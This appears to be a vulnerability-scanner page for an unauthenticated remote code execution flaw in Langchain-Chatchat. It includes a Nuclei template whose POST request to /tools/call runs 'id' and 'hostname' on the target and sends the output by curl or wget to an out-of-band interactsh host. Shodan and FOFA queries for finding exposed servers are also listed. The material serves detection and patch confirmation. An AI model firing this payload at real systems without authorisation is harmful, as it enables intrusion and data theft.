Langchain-Chatchat <= 0.3.1.3 - Unauthenticated RCE

criticalseverity

9.8CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

Langchain-Chatchat <= 0.3.1.3 contains a command injection caused by unauthenticated access to the /tools/call API endpoint invoking the shell tool, letting remote attackers execute arbitrary OS commands as root, exploit requires no authentication.

Impact

Remote attackers can execute arbitrary OS commands as root, leading to full system compromise.

Fix

Update to the latest version of Langchain-Chatchat.

How to confirm it

Send: GET /openapi.json
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "Langchain-Chatchat API Server", "/tools/call", "/knowledge_base/list_knowledge_bases")
Send: GET /tools
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "Use Shell to execute system shell commands", "The command to execute")
Send: POST /tools/call
Positive when: contains(interactsh_protocol, "http") and contains(interactsh_request, probe)

Run it with nuclei: nuclei -id CVE-2026-75128 -u <target>

The full check

id: CVE-2026-75128

info:
  name: Langchain-Chatchat <= 0.3.1.3 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    Langchain-Chatchat <= 0.3.1.3 contains a command injection caused by unauthenticated access to the /tools/call API endpoint invoking the shell tool, letting remote attackers execute arbitrary OS commands as root, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary OS commands as root, leading to full system compromise.
  remediation: |
    Update to the latest version of Langchain-Chatchat.
  reference:
    - https://www.lasso.security/vulnerability-database/cve-2026-75128
    - https://www.vulncheck.com/advisories/langchain-chatchat-through-0.3.1.3-unauthenticated-rce-via-tools-call-endpoint
    - https://github.com/chatchat-space/Langchain-Chatchat
    - https://nvd.nist.gov/vuln/detail/CVE-2026-75128
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-75128
    epss-score: 0.02226
    epss-percentile: 0.82865
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: chatchat-space
    product: langchain-chatchat
    shodan-query: http.title:"Langchain-Chatchat API Server"
    fofa-query: title="Langchain-Chatchat API Server"
  tags: cve,cve2026,langchain-chatchat,chatchat,langchain,ai,llm,rce,oast,unauth

variables:
  probe: "{{rand_text_alpha(6)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /openapi.json HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "Langchain-Chatchat API Server", "/tools/call", "/knowledge_base/list_knowledge_bases")'
        condition: and
        internal: true

  - raw:
      - |
        GET /tools HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "Use Shell to execute system shell commands", "The command to execute")'
        condition: and
        internal: true

  - raw:
      - |
        POST /tools/call HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"shell","tool_input":{"query":"O=$(id | tr -d ' ')/$(hostname);curl -sm8 http://{{interactsh-url}}/{{probe}}/$O || wget -T8 -qO- http://{{interactsh-url}}/{{probe}}/$O"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, probe)'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'replace_regex(replace_regex(interactsh_request, "(?s)^GET /" + probe + "/", ""), "(?s) HTTP/1.*", "")'

References

Use this check only on systems you are authorised to test. Where the data comes from